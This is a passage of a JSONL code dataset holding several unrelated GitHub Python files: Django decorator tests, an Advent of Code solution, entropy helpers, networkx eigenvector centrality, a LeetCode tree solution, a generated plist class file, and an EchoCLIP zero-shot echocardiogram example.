self.submitted_by.username","repo_name":"vishalpandeyvip/GURU-LMS","sub_path":"apps/assignment/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"17482429005","text":"from datetime import datetime, timedelta\n\nfrom django import http\nfrom django.conf import settings\nfrom django.core.exceptions import PermissionDenied\nfrom django.core.urlresolvers import reverse\n\nimport mock\nfrom nose.tools import eq_\n\nimport mkt.site.tests\nfrom mkt import get_user, set_user\nfrom mkt.site.decorators import (login_required, json_response, json_view,\n                                 permission_required, set_modified_on,\n                                 set_task_user)\nfrom mkt.site.fixtures import fixture\nfrom mkt.users.models import UserProfile\n\n\ndef test_json_view():\n    \"\"\"Turns a Python object into a response.\"\"\"\n    response = json_view(lambda r: {'x': 1})(mock.Mock())\n    assert isinstance(response, http.HttpResponse)\n    eq_(response.content, '{\"x\": 1}')\n    eq_(response['Content-Type'], 'application/json')\n    eq_(response.status_code, 200)\n\n\ndef test_json_view_normal_response():\n    \"\"\"Normal responses get passed through.\"\"\"\n    expected = http.HttpResponseForbidden()\n    response = json_view(lambda r: expected)(mock.Mock())\n    assert expected is response\n    eq_(response['Content-Type'], 'text/html; charset=utf-8')\n\n\ndef test_json_view_error():\n    \"\"\"json_view.error returns 400 responses.\"\"\"\n    response = json_view.error({'msg': 'error'})\n    assert isinstance(response, http.HttpResponseBadRequest)\n    eq_(response.content, '{\"msg\": \"error\"}')\n    eq_(response['Content-Type'], 'application/json')\n\n\ndef test_json_view_status():\n    response = json_view(lambda r: {'x': 1}, status_code=202)(mock.Mock())\n    eq_(response.status_code, 202)\n\n\ndef test_json_view_response_status():\n    response = json_response({'msg': 'error'}, status_code=202)\n    eq_(response.content, '{\"msg\": \"error\"}')\n    eq_(response['Content-Type'], 'application/json')\n    eq_(response.status_code, 202)\n\n\nclass TestTaskUser(mkt.site.tests.TestCase):\n    fixtures = fixture('users')\n\n    def test_set_task_user(self):\n        @set_task_user\n        def some_func():\n            return get_user()\n\n        set_user(UserProfile.objects.get(email='regular@mozilla.com'))\n        eq_(get_user().pk, 999)\n        eq_(some_func().pk, int(settings.TASK_USER_ID))\n        eq_(get_user().pk, 999)\n\n\nclass TestLoginRequired(object):\n\n    def setUp(self):\n        self.f = mock.Mock()\n        self.f.__name__ = 'function'\n        self.request = mock.Mock()\n        self.request.user.is_authenticated.return_value = False\n        self.request.get_full_path.return_value = 'path'\n\n    def test_normal(self):\n        func = login_required(self.f)\n        response = func(self.request)\n        assert not self.f.called\n        eq_(response.status_code, 302)\n        eq_(response['Location'],\n            '%s?to=%s' % (reverse('users.login'), 'path'))\n\n    def test_no_redirect(self):\n        func = login_required(self.f, redirect=False)\n        response = func(self.request)\n        assert not self.f.called\n        eq_(response.status_code, 401)\n\n    def test_decorator_syntax(self):\n        # @login_required(redirect=False)\n        func = login_required(redirect=False)(self.f)\n        response = func(self.request)\n        assert not self.f.called\n        eq_(response.status_code, 401)\n\n    def test_no_redirect_success(self):\n        func = login_required(redirect=False)(self.f)\n        self.request.user.is_authenticated.return_value = True\n        func(self.request)\n        assert self.f.called\n\n\nclass TestSetModifiedOn(mkt.site.tests.TestCase):\n    fixtures = fixture('users')\n\n    @set_modified_on\n    def some_method(self, worked):\n        return worked\n\n    def test_set_modified_on(self):\n        users = list(UserProfile.objects.all()[:3])\n        self.some_method(True, set_modified_on=users)\n        for user in users:\n            eq_(UserProfile.objects.get(pk=user.pk).modified.date(),\n                datetime.today().date())\n\n    def test_not_set_modified_on(self):\n        yesterday = datetime.today() - timedelta(days=1)\n        qs = UserProfile.objects.all()\n        qs.update(modified=yesterday)\n        users = list(qs[:3])\n        self.some_method(False, set_modified_on=users)\n        for user in users:\n            date = UserProfile.objects.get(pk=user.pk).modified.date()\n            assert date < datetime.today().date()\n\n\nclass TestPermissionRequired(mkt.site.tests.TestCase):\n\n    def setUp(self):\n        self.f = mock.Mock()\n        self.f.__name__ = 'function'\n        self.request = mock.Mock()\n\n    @mock.patch('mkt.access.acl.action_allowed')\n    def test_permission_not_allowed(self, action_allowed):\n        action_allowed.return_value = False\n        func = permission_required([('', '')])(self.f)\n        with self.assertRaises(PermissionDenied):\n            func(self.request)\n\n    @mock.patch('mkt.access.acl.action_allowed')\n    def test_permission_allowed(self, action_allowed):\n        action_allowed.return_value = True\n        func = permission_required([('', '')])(self.f)\n        func(self.request)\n        assert self.f.called\n\n    @mock.patch('mkt.access.acl.action_allowed')\n    def test_permission_allowed_correctly(self, action_allowed):\n        func = permission_required([('Admin', '%')])(self.f)\n        func(self.request)\n        action_allowed.assert_called_with(self.request, 'Admin', '%')\n","repo_name":"mozilla/zamboni","sub_path":"mkt/site/tests/test_decorators.py","file_name":"test_decorators.py","file_ext":"py","file_size_in_byte":5266,"program_lang":"python","lang":"en","doc_type":"code","stars":476,"dataset":"github-code","pt":"3"}
+{"seq_id":"22038697294","text":"import sys\n\nprints = False\n\nsize = 300\ncycle = [1]*size\ni = 1\n\nfor l in [i.rstrip() for i in sys.stdin]:\n    i=i+1\n    cycle[i]=cycle[i-1]\n    if(l[0] == 'a'):\n        i=i+1\n        cycle[i] = cycle[i-1] + int(l.split(\" \")[1])\n    if prints:\n        print(l.split(\" \")[0], cycle[max(0,i-5):i+1], i )\n\nfor t in range(i+1, size):\n    cycle[t]=cycle[t-1]\n\nr = 0\nfor i in range(6):\n    r = r + cycle[20+ 40*i]*(20+40*i)\nprint(r)","repo_name":"matheusstutzel/adventOfCode","sub_path":"2022/10/p1.py","file_name":"p1.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"}
+{"seq_id":"15356161634","text":"# Librerias estandar.\r\nimport concurrent.futures\r\n\r\n# Librerias de terceros.\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\n# Dependencias.\r\nfrom .constantes import Tipo_Operacion\r\nfrom .decoradores import time_it\r\n\r\n\r\ndef Ie(\r\n    frecuencias: 'pd.Series',\r\n    operacion: 'Tipo_Operacion'\r\n) -> 'pd.Series':\r\n    '''\r\n        Calcula la informaicon mutua de un conjunto\r\n        retorna la sumatoria de esta y el valor por dato.\r\n    '''\r\n\r\n    # Se obtiene cual es el operdor del logaritmo a usar.\r\n    if operacion is Tipo_Operacion.CUANTIFICABLE:\r\n        log = np.log10\r\n    elif operacion is Tipo_Operacion.TRANSMISION_DATOS:\r\n        log = np.log2\r\n    elif operacion is Tipo_Operacion.TRANSICION_ESTADOS:\r\n        log = np.log\r\n    else:\r\n        raise Exception('El tipo de operación no es valido')\r\n\r\n    informacion_mutua = -log(frecuencias)\r\n\r\n    return informacion_mutua\r\n\r\n\r\ndef He(\r\n    frecuencias: 'pd.Series',\r\n    informacion_mutua: 'pd.Series',\r\n) -> 'pd.Series':\r\n    '''\r\n        Calcula la entropia de un conjunto\r\n        retorna la sumatoria de esta y el valor por dato.\r\n    '''\r\n    entropia = frecuencias * informacion_mutua\r\n\r\n    return entropia\r\n\r\n\r\ndef pre_analisis(\r\n    texto: str\r\n) -> 'tuple[pd.Series, pd.Series]':\r\n    '''\r\n        Realiza un pre-análisis del texto, retorna\r\n        la frecuencia y el alfabeto del texto.\r\n    '''\r\n\r\n    frecuencias = pd.Series(dtype=np.float64)\r\n    alfabeto = pd.Series(dtype=str)\r\n\r\n    i = 0\r\n    for caracter in texto:\r\n        if caracter not in alfabeto.index:\r\n            id = 'S{}'.format(i)\r\n\r\n            alfabeto[caracter] = id\r\n\r\n            frecuencias[id] = 1\r\n\r\n            i += 1\r\n\r\n        else:\r\n            id = alfabeto[caracter]\r\n            frecuencias[id] += 1\r\n\r\n    return alfabeto, frecuencias\r\n\r\n\r\ndef multi_pre_analisis(\r\n    texto: str,\r\n    procesos: int,\r\n) -> 'tuple[pd.Series, pd.Series]':\r\n    '''\r\n        Realiza la operación de pre-análisis del texto\r\n        utilizando multiprocesos.\r\n    '''\r\n\r\n    # Primero separamos los recursos para repartirlo equitativamente entre los procesos.\r\n    longitud_texto = len(texto)\r\n\r\n    # Secciones de texto.\r\n    secciones = int(longitud_texto / procesos)\r\n\r\n    # Paquetes de datos.\r\n    paquetes = []\r\n\r\n    # Creamos los paquetes de datos que se parasaran a los procesos.\r\n    a = 0\r\n    b = secciones\r\n    for _ in range(procesos):\r\n        paquetes.append(texto[a:b])\r\n        a += secciones\r\n        b += secciones\r\n\r\n    # Creamos un contexto con el ejecutador de los procesos.\r\n    with concurrent.futures.ProcessPoolExecutor() as ejecutador:\r\n        # Instanciamos un generador multiproceso con map.\r\n        resultados = ejecutador.map(pre_analisis, paquetes)\r\n\r\n    # Ahora juntamos las frecuencias y los alfabetos que\r\n    # cada proceso utilizo.\r\n    alfabeto = pd.Series()\r\n    frecuencias = pd.Series()\r\n\r\n    # Conteo de los id's.\r\n    conteo_id = 0\r\n\r\n    # Por cada resultado, se agrega al buffer.\r\n    for resultado in resultados:\r\n        # Recuperamos la frecuencia y alfabeto.\r\n        A, F = resultado\r\n\r\n        for id_c, caracter in zip(A, A.index):\r\n            if caracter not in alfabeto.index:\r\n                id = 'S{}'.format(conteo_id)\r\n                alfabeto[caracter] = id\r\n                frecuencias[id] = F[id_c]\r\n\r\n                conteo_id += 1\r\n\r\n            else:\r\n                id = alfabeto[caracter]\r\n                frecuencias[id] += F[id_c]\r\n\r\n    return frecuencias, alfabeto\r\n","repo_name":"GilHalo98/pia-teoria","sub_path":"util/funciones.py","file_name":"funciones.py","file_ext":"py","file_size_in_byte":3487,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"19235321772","text":"import networkx as nx\n__author__ = \"\\n\".join(['Aric Hagberg (hagberg@lanl.gov)',\n                        'Pieter Swart (swart@lanl.gov)',\n                        'Sasha Gutfraind (ag362@cornell.edu)'])\n__all__ = ['eigenvector_centrality',\n           'eigenvector_centrality_numpy']\n\ndef eigenvector_centrality(G,max_iter=100,tol=1.0e-6,nstart=None):\n    \"\"\"Compute the eigenvector centrality for the graph G.\n\n    Uses the power method to find the eigenvector for the \n    largest eigenvalue of the adjacency matrix of G.\n\n    Parameters\n    ----------\n    G : graph\n      A networkx graph \n\n    max_iter : interger, optional\n      Maximum number of iterations in power method.\n\n    tol : float, optional\n      Error tolerance used to check convergence in power method iteration.\n\n    nstart : dictionary, optional\n      Starting value of eigenvector iteration for each node. \n\n    Returns\n    -------\n    nodes : dictionary\n       Dictionary of nodes with eigenvector centrality as the value.\n\n    Examples\n    --------\n    >>> G=nx.path_graph(4)\n    >>> centrality=nx.eigenvector_centrality(G)\n    >>> print(['%s %0.2f'%(node,centrality[node]) for node in centrality])\n    ['0 0.37', '1 0.60', '2 0.60', '3 0.37']\n\n    Notes\n    ------\n    The eigenvector calculation is done by the power iteration method\n    and has no guarantee of convergence.  The iteration will stop\n    after max_iter iterations or an error tolerance of\n    number_of_nodes(G)*tol has been reached.\n\n    For directed graphs this is \"right\" eigevector centrality.  For\n    \"left\" eigenvector centrality, first reverse the graph with\n    G.reverse().\n\n    See Also\n    --------\n    eigenvector_centrality_numpy\n    pagerank\n    hits\n    \"\"\"\n    from math import sqrt\n    if type(G) == nx.MultiGraph or type(G) == nx.MultiDiGraph:\n        raise nx.NetworkXException(\"Not defined for multigraphs.\")\n\n    if len(G)==0:\n        raise nx.NetworkXException(\"Empty graph.\")\n\n    if nstart is None:\n        # choose starting vector with entries of 1/len(G) \n        x=dict([(n,1.0/len(G)) for n in G])\n    else:\n        x=nstart\n    # normalize starting vector\n    s=1.0/sum(x.values())\n    for k in x: x[k]*=s\n    nnodes=G.number_of_nodes()\n    # make up to max_iter iterations        \n    for i in range(max_iter):\n        xlast=x\n        x=dict.fromkeys(xlast, 0)\n        # do the multiplication y=Ax\n        for n in x:\n            for nbr in G[n]:\n                x[n]+=xlast[nbr]*G[n][nbr].get('weight',1)\n        # normalize vector\n        try:\n            s=1.0/sqrt(sum(v**2 for v in x.values()))\n        # this should never be zero?\n        except ZeroDivisionError:\n            s=1.0\n        for n in x: x[n]*=s\n        # check convergence            \n        err=sum([abs(x[n]-xlast[n]) for n in x])\n        if err < nnodes*tol:\n            return x\n\n    raise nx.NetworkXError(\"\"\"eigenvector_centrality(): \npower iteration failed to converge in %d iterations.\"%(i+1))\"\"\")\n\n\ndef eigenvector_centrality_numpy(G):\n    \"\"\"Compute the eigenvector centrality for the graph G.\n\n    Parameters\n    ----------\n    G : graph\n      A networkx graph \n\n    Returns\n    -------\n    nodes : dictionary\n       Dictionary of nodes with eigenvector centrality as the value.\n\n    Examples\n    --------\n    >>> G=nx.path_graph(4)\n    >>> centrality=nx.eigenvector_centrality_numpy(G)\n    >>> print(['%s %0.2f'%(node,centrality[node]) for node in centrality])\n    ['0 0.37', '1 0.60', '2 0.60', '3 0.37']\n\n    Notes\n    ------\n    This algorithm uses the NumPy eigenvalue solver.\n\n    For directed graphs this is \"right\" eigevector centrality.  For\n    \"left\" eigenvector centrality, first reverse the graph with\n    G.reverse().\n\n    See Also\n    --------\n    eigenvector_centrality\n    pagerank\n    hits\n    \"\"\"\n    try:\n        import numpy as np\n    except ImportError:\n        raise ImportError('Requires NumPy: http://scipy.org/')\n\n    if type(G) == nx.MultiGraph or type(G) == nx.MultiDiGraph:\n        raise nx.NetworkXException('Not defined for multigraphs.')\n\n    if len(G)==0:\n        raise nx.NetworkXException('Empty graph.')\n\n    A=nx.adj_matrix(G,nodelist=G.nodes())\n    eigenvalues,eigenvectors=np.linalg.eig(A)\n    # eigenvalue indices in reverse sorted order\n    ind=eigenvalues.argsort()[::-1]\n    # eigenvector of largest eigenvalue at ind[0], normalized\n    largest=np.array(eigenvectors[:,ind[0]]).flatten().real\n    norm=np.sign(largest.sum())*np.linalg.norm(largest)\n    centrality=dict(zip(G,map(float,largest/norm)))\n    return centrality\n\n\n# fixture for nose tests\ndef setup_module(module):\n    from nose import SkipTest\n    try:\n        import numpy\n        import numpy.linalg\n    except:\n        raise SkipTest(\"numpy not available\")\n","repo_name":"miniBloq/v0.83","sub_path":"source/Bin/Minibloq/lang/PPythonWin/v2.7.5.1/App/Lib/site-packages/networkx/algorithms/centrality/eigenvector.py","file_name":"eigenvector.py","file_ext":"py","file_size_in_byte":4720,"program_lang":"python","lang":"en","doc_type":"code","stars":82,"dataset":"github-code","pt":"3"}
+{"seq_id":"2731744069","text":"from __future__ import annotations\n\nimport unittest\nfrom typing import List, Optional\n\n\n# Definition for a binary tree node.\nclass TreeNode:\n  def __init__(self, val=0, left: TreeNode = None, right: TreeNode = None):\n    self.val = val\n    self.left = left\n    self.right = right\n\n\nclass Solution:\n  def rightSideView(self, root: Optional[TreeNode]) -> List[int]:\n    solution: [int] = []\n    self.helper(root, solution, 0)\n    return solution\n\n  def helper(self, root: Optional[TreeNode], solution, level: int):\n    if root is not None:\n      if len(solution) <= level:\n        solution.append(root.val)\n      self.helper(root.right, solution, level + 1)\n      self.helper(root.left, solution, level + 1)\n\n\nclass TestSolution(unittest.TestCase):\n  def setUp(self):\n    self.sol = Solution()\n\n  # def test_solution(self):\n  #   self.assertEqual(self.sol.rightSideView([]), 0)\n\n\ndef main():\n  unittest.main()\n\n\nif __name__ == '__main__':\n  main()\n","repo_name":"matthewcordaro/leet-code-python","sub_path":"finished/101-200/199. Binary Tree Right Side View/binary-rightside-view-2.py","file_name":"binary-rightside-view-2.py","file_ext":"py","file_size_in_byte":946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"74051546962","text":"\"\"\"\n .Plist Data\n 本程序为Plist的py版本\n 略...\n\"\"\"\nfrom PlistParser.Plist import PlistItem\n\n\nclass CacheExtraItem(PlistItem,):\n    pass\n\nclass item28Item(PlistItem,):\n    pass\n\nclass item28(PlistItem,):\n    def __init__(self, item_index_tuple=None, item=None, data=None, item_index_head=''):\n        item_index_tuple = () if item_index_tuple == None else item_index_tuple\n        super().__init__(item_index_tuple, item, item_index_head=item_index_head)\n        \n        self.item_index_tuple = ('CacheExtra', 'oPeik/9e8lQWMszEjbPzng')\n        self.item = 'oPeik/9e8lQWMszEjbPzng'\n        self.item_index_head = ''\n        self.data = None\n        self.dict = {'CacheExtra': {'oPeik/9e8lQWMszEjbPzng': {'oPeik/9e8lQWMszEjbPzng': {}}}}\n        self.dict_index = '[\"CacheExtra\"][\"oPeik/9e8lQWMszEjbPzng\"][\"oPeik/9e8lQWMszEjbPzng\"]'\n        self.path = 'CacheExtra.oPeik/9e8lQWMszEjbPzng.oPeik/9e8lQWMszEjbPzng'\n        self.path_tuple = ('CacheExtra', 'oPeik/9e8lQWMszEjbPzng', 'oPeik/9e8lQWMszEjbPzng')\n        self.item1 = item28Item(('CacheExtra', 'oPeik/9e8lQWMszEjbPzng'), 'ArtworkDeviceIdiom', None, '')\n        self.item2 = item28Item(('CacheExtra', 'oPeik/9e8lQWMszEjbPzng'), 'ArtworkDeviceSubType', None, '')\n        self.item3 = item28Item(('CacheExtra', 'oPeik/9e8lQWMszEjbPzng'), 'GraphicsFeatureSetFallbacks', None, '')\n        self.item4 = item28Item(('CacheExtra', 'oPeik/9e8lQWMszEjbPzng'), 'CompatibleDeviceFallback', None, '')\n        self.item5 = item28Item(('CacheExtra', 'oPeik/9e8lQWMszEjbPzng'), 'ArtworkDisplayGamut', None, '')\n        self.item6 = item28Item(('CacheExtra', 'oPeik/9e8lQWMszEjbPzng'), 'ArtworkDeviceProductDescription', None, '')\n        self.item7 = item28Item(('CacheExtra', 'oPeik/9e8lQWMszEjbPzng'), 'ArtworkDynamicDisplayMode', None, '')\n        self.item8 = item28Item(('CacheExtra', 'oPeik/9e8lQWMszEjbPzng'), 'GraphicsFeatureSetClass', None, '')\n        self.item9 = item28Item(('CacheExtra', 'oPeik/9e8lQWMszEjbPzng'), 'ArtworkDeviceScaleFactor', None, '')\n        self.item10 = item28Item(('CacheExtra', 'oPeik/9e8lQWMszEjbPzng'), 'DevicePerformanceMemoryClass', None, '')\n\nclass item32Item(PlistItem,):\n    pass\n\nclass item32(PlistItem,):\n    def __init__(self, item_index_tuple=None, item=None, data=None, item_index_head=''):\n        item_index_tuple = () if item_index_tuple == None else item_index_tuple\n        super().__init__(item_index_tuple, item, item_index_head=item_index_head)\n        \n        self.item_index_tuple = ('CacheExtra', 'AoKnINTLPoKML3ctoP0AZg')\n        self.item = 'AoKnINTLPoKML3ctoP0AZg'\n        self.item_index_head = ''\n        self.data = None\n        self.dict = {'CacheExtra': {'AoKnINTLPoKML3ctoP0AZg': {'AoKnINTLPoKML3ctoP0AZg': {}}}}\n        self.dict_index = '[\"CacheExtra\"][\"AoKnINTLPoKML3ctoP0AZg\"][\"AoKnINTLPoKML3ctoP0AZg\"]'\n        self.path = 'CacheExtra.AoKnINTLPoKML3ctoP0AZg.AoKnINTLPoKML3ctoP0AZg'\n        self.path_tuple = ('CacheExtra', 'AoKnINTLPoKML3ctoP0AZg', 'AoKnINTLPoKML3ctoP0AZg')\n        self.item1 = item32Item(('CacheExtra', 'AoKnINTLPoKML3ctoP0AZg'), 'media-compression', None, '')\n        self.item2 = item32Item(('CacheExtra', 'AoKnINTLPoKML3ctoP0AZg'), 'universal-lossy-buffer-compression', None, '')\n        self.item3 = item32Item(('CacheExtra', 'AoKnINTLPoKML3ctoP0AZg'), 'buffer-compression', None, '')\n        self.item4 = item32Item(('CacheExtra', 'AoKnINTLPoKML3ctoP0AZg'), 'universal-buffer-compression', None, '')\n\nclass CacheExtra(PlistItem,):\n    def __init__(self, item_index_tuple=None, item=None, data=None, item_index_head=''):\n        item_index_tuple = () if item_index_tuple == None else item_index_tuple\n        super().__init__(item_index_tuple, item, item_index_head=item_index_head)\n        \n        self.item_index_tuple = ('CacheExtra',)\n        self.item = 'CacheExtra'\n        self.item_index_head = ''\n        self.data = None\n        self.dict = {'CacheExtra': {'CacheExtra': {}}}\n        self.dict_index = '[\"CacheExtra\"][\"CacheExtra\"]'\n        self.path = 'CacheExtra.CacheExtra'\n        self.path_tuple = ('CacheExtra', 'CacheExtra')\n        self.item1 = CacheExtraItem(('CacheExtra',), 'oBbtJ8x+s1q0OkaiocPuog', None, '')\n        self.item2 = CacheExtraItem(('CacheExtra',), '96GRvvjuBKkU4HzNsYcHPA', None, '')\n        self.item3 = CacheExtraItem(('CacheExtra',), 'wYMBabAO8VguyDDVgCsPdg', None, '')\n        self.item4 = CacheExtraItem(('CacheExtra',), 'TZ/0j62wM3D0CuRt+Nc/Lw', None, '')\n        self.device_category = CacheExtraItem(('CacheExtra',), 'VuGdqp8UBpi9vPWHlPluVQ', None, '')\n        self.GUID_partition_scheme = CacheExtraItem(('CacheExtra',), 'xUHcyT2/HE8oi/4LaOI+Sw', None, '')\n        self.item5 = CacheExtraItem(('CacheExtra',), 'NaA/zJV7myg2w4YNmSe4yQ', None, '')\n        self.item6 = CacheExtraItem(('CacheExtra',), 'DViRIxZ/ZwO007CLcEYvZw', None, '')\n        self.item7 = CacheExtraItem(('CacheExtra',), 'QbQzuIbef01P4JeoL9EmKg', None, '')\n        self.item8 = CacheExtraItem(('CacheExtra',), 'gBw7IWiBnLHaA+lBrZBgWw', None, '')\n        self.item9 = CacheExtraItem(('CacheExtra',), 'pB5sZVvnp+QjZQtt2KfQvA', None, '')\n        self.item10 = CacheExtraItem(('CacheExtra',), 'qwXfFvH5jPXPxrny0XuGtQ', None, '')\n        self.device_issuance = CacheExtraItem(('CacheExtra',), 'zHeENZu+wbg7PUprwNwBWg', None, '')\n        self.item11 = CacheExtraItem(('CacheExtra',), 'LeSRsiLoJCMhjn6nd6GWbQ', None, '')\n        self.itemx = CacheExtraItem(('CacheExtra',), '9MZ5AdH43csAUajl/dU+IQ', None, '')\n        self.item12 = CacheExtraItem(('CacheExtra',), 'JhEU414EIaDvAz8ki5DSqw', None, '')\n        self.item13 = CacheExtraItem(('CacheExtra',), '+3Uf0Pm5F8Xy7Onyvko0vA', None, '')\n        self.device_model = CacheExtraItem(('CacheExtra',), 'Z/dqyWS6OZTRy10UcmUAhw', None, '')\n        self.item14 = CacheExtraItem(('CacheExtra',), 'Nzu4E/VsXjEIa83CkRdZrQ', None, '')\n        self.item15 = CacheExtraItem(('CacheExtra',), '91LyMcx4z1w3SGVeqteMnA', None, '')\n        self.item16 = CacheExtraItem(('CacheExtra',), 'JUWcn+5Ss0nvr5w/jk4WEg', None, '')\n        self.item17 = CacheExtraItem(('CacheExtra',), 'rkqlwPcRHwixY4gapPjanw', None, '')\n        self.item18 = CacheExtraItem(('CacheExtra',), 'IMLaTlxS7ITtwfbRfPYWuA', None, '')\n        self.item19 = CacheExtraItem(('CacheExtra',), '4qfpxrvLtWillIHpIsVgMA', None, '')\n        self.item20 = CacheExtraItem(('CacheExtra',), 'h63QSdBCiT/z0WU6rdQv6Q', None, '')\n        self.item21 = CacheExtraItem(('CacheExtra',), 'qNNddlUK+B/YlooNoymwgA', None, '')\n        self.item22 = CacheExtraItem(('CacheExtra',), 'k7QIBwZJJOVw+Sej/8h8VA', None, '')\n        self.item23 = CacheExtraItem(('CacheExtra',), 'mZfUC7qo4pURNhyMHZ62RQ', None, '')\n        self.device_system = CacheExtraItem(('CacheExtra',), 'ivIu8YTDnBSrYv/SN4G8Ag', None, '')\n        self.item24 = CacheExtraItem(('CacheExtra',), '4W7X4OWHjri5PGaAGsCWxw', None, '')\n        self.item25 = CacheExtraItem(('CacheExtra',), 'emXA9B552rnSoI7xXE91DA', None, '')\n        self.item26 = CacheExtraItem(('CacheExtra',), 'NUYAz1eq3Flzt7ZQxXC/ng', None, '')\n        self.item27 = CacheExtraItem(('CacheExtra',), '97JDvERpVwO+GHtthIh7hA', None, '')\n        self.item28 = item28(('CacheExtra', 'oPeik/9e8lQWMszEjbPzng'), 'oPeik/9e8lQWMszEjbPzng', None, '')\n        self.item29 = CacheExtraItem(('CacheExtra',), 'ybGkijAwLTwevankfVzsDQ', None, '')\n        self.item30 = CacheExtraItem(('CacheExtra',), '9s45ldrCC1WF+7b6C4H2BA', None, '')\n        self.item31 = CacheExtraItem(('CacheExtra',), 'LTI8wHvEYKy8zR1IXBW1uQ', None, '')\n        self.item32 = item32(('CacheExtra', 'AoKnINTLPoKML3ctoP0AZg'), 'AoKnINTLPoKML3ctoP0AZg', None, '')\n        self.item33 = CacheExtraItem(('CacheExtra',), 'bbtR9jQx50Fv5Af/affNtA', None, '')\n        self.item34 = CacheExtraItem(('CacheExtra',), 'nSo8opze5rFk+EdBoR6tBw', None, '')\n        self.item35 = CacheExtraItem(('CacheExtra',), 'HXTqT3UXOKuTEklxz+wMAA', None, '')\n        self.item36 = CacheExtraItem(('CacheExtra',), '5pYKlGnYYBzGvAlIU8RjEQ', None, '')\n        self.item37 = CacheExtraItem(('CacheExtra',), 'h9jDsbgj7xIVeIQ8S3/X3Q', None, '')\n        self.item38 = CacheExtraItem(('CacheExtra',), 'mumHZHMLEfAuTkkd28fHlQ', None, '')\n        self.item39 = CacheExtraItem(('CacheExtra',), 'k+KTni1jrwErpcDMEnn3aw', None, '')\n        self.item40 = CacheExtraItem(('CacheExtra',), '/YYygAofPDbhrwToVsXdeA', None, '')\n        self.item41 = CacheExtraItem(('CacheExtra',), 'c7fCSBIbX1mFaRoKT5zTIw', None, '')\n\nclass PlistItem():\n    def __init__(self, item_index_tuple=None, item=None, data=None, item_index_head=''):\n        item_index_tuple = () if item_index_tuple == None else item_index_tuple\n        super().__init__(item_index_tuple, item, item_index_head=item_index_head)\n        \n        self.item_index_tuple = ()\n        self.item = ''\n        self.item_index_head = ''\n        self.data = None\n        self.dict = {'': None}\n        self.dict_index = '[\"\"]'\n        self.path = ''\n        self.path_tuple = ('',)\n        self.CacheUUID = PlistItem((), 'CacheUUID', None, '')\n        self.CacheData = PlistItem((), 'CacheData', None, '')\n        self.CacheExtra = CacheExtra(('CacheExtra',), 'CacheExtra', None, '')\n        self.CacheVersion = PlistItem((), 'CacheVersion', None, '')\n\n","repo_name":"whiteEelsYikes/PlistParser","sub_path":"PlistParser.test-info/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":9174,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"17058197178","text":"from open_clip import tokenize, create_model_and_transforms\nimport torchvision.transforms as T\nimport torch\nimport torch.nn.functional as F\nfrom utils import (\n    zero_shot_prompts,\n    compute_binary_metric,\n    compute_regression_metric,\n    read_avi,\n)\n\n# You'll need to log in to the HuggingFace hub CLI to download the models\n# You can do this with the terminal command \"huggingface-cli login\"\n# You'll be asked to paste your HuggingFace API token, which you can find at https://huggingface.co/settings/token\n\n# Use EchoCLIP for zero-shot tasks like ejection fraction prediction\n# or pacemaker detection. It has a short context window because it\n# uses the CLIP BPE tokenizer, so it can't process an entire report at once.\necho_clip, _, preprocess_val = create_model_and_transforms(\n    \"hf-hub:mkaichristensen/echo-clip\", precision=\"bf16\", device=\"cuda\"\n)\n\n# We'll use random noise in the shape of a 10-frame video in this example, but you can use any image\n# We'll load a sample echo video and preprocess its frames.\ntest_video = read_avi(\n    \"example_video.avi\",\n    (224, 224),\n)\ntest_video = torch.stack(\n    [preprocess_val(T.ToPILImage()(frame)) for frame in test_video], dim=0\n)\ntest_video = test_video[0:min(40, len(test_video)):2]\ntest_video = test_video.cuda()\ntest_video = test_video.to(torch.bfloat16)\n\n# Be sure to normalize the CLIP embedding after calculating it to make\n# cosine similarity between embeddings easier to calculate.\ntest_video_embedding = F.normalize(echo_clip.encode_image(test_video), dim=-1)\n\n# Add in a batch dimension because the zero-shot functions expect one\ntest_video_embedding = test_video_embedding.unsqueeze(0)\n\n\n# To perform zero-shot prediction on our \"echo\" image, we'll need\n# prompts that describe the task we want to perform. For example,\n# to zero-shot detect pacemakers, we'll use the following prompts\npacemaker_prompts = zero_shot_prompts[\"pacemaker\"]\nprint(pacemaker_prompts)\n\n# We'll use the CLIP BPE tokenizer to tokenize the prompts\npacemaker_prompts = tokenize(pacemaker_prompts).cuda()\nprint(pacemaker_prompts)\n\n# Now we can encode the prompts into embeddings\npacemaker_prompt_embeddings = F.normalize(\n    echo_clip.encode_text(pacemaker_prompts), dim=-1\n)\nprint(pacemaker_prompt_embeddings.shape)\n\n# Now we can compute the similarity between the video and the prompts\n# to get a prediction for whether the video contains a pacemaker. It's\n# important to note that this prediction is not calibrated, and can\n# range from -1 to 1.\npacemaker_predictions = compute_binary_metric(\n    test_video_embedding, pacemaker_prompt_embeddings\n)\n\n# If we use a pacemaker detection threshold calibrated using its F1 score on\n# our test set, we can get a proper true/false prediction prediction.\nf1_calibrated_threshold = 0.298\nprint(f\"Pacemaker detected: {pacemaker_predictions.item() > f1_calibrated_threshold}\")\n\n\n# We can also do the same thing for predicting continuous values,\n# like ejection fraction. We'll use the following prompts for\n# zero-shot ejection fraction prediction:\nejection_fraction_prompts = zero_shot_prompts[\"ejection_fraction\"]\nprint(ejection_fraction_prompts)\n\n# However, since ejection fraction can range between 0 and 100,\n# we'll need to make 100 versions of each prompt.\nprompts = []\nprompt_values = []\n\nfor prompt in ejection_fraction_prompts:\n    for i in range(101):\n        prompts.append(prompt.replace(\"<#>\", str(i)))\n        prompt_values.append(i)\n\nejection_fraction_prompts = prompts\n\n# We'll once again tokenize and embed the prompts\nejection_fraction_prompts = tokenize(ejection_fraction_prompts).cuda()\nejection_fraction_embeddings = F.normalize(\n    echo_clip.encode_text(ejection_fraction_prompts), dim=-1\n)\n\n# And we'll compute the similarity between the image and the prompts\n# to get a prediction for the ejection fraction.\nejection_fraction_predictions = compute_regression_metric(\n    test_video_embedding, ejection_fraction_embeddings, 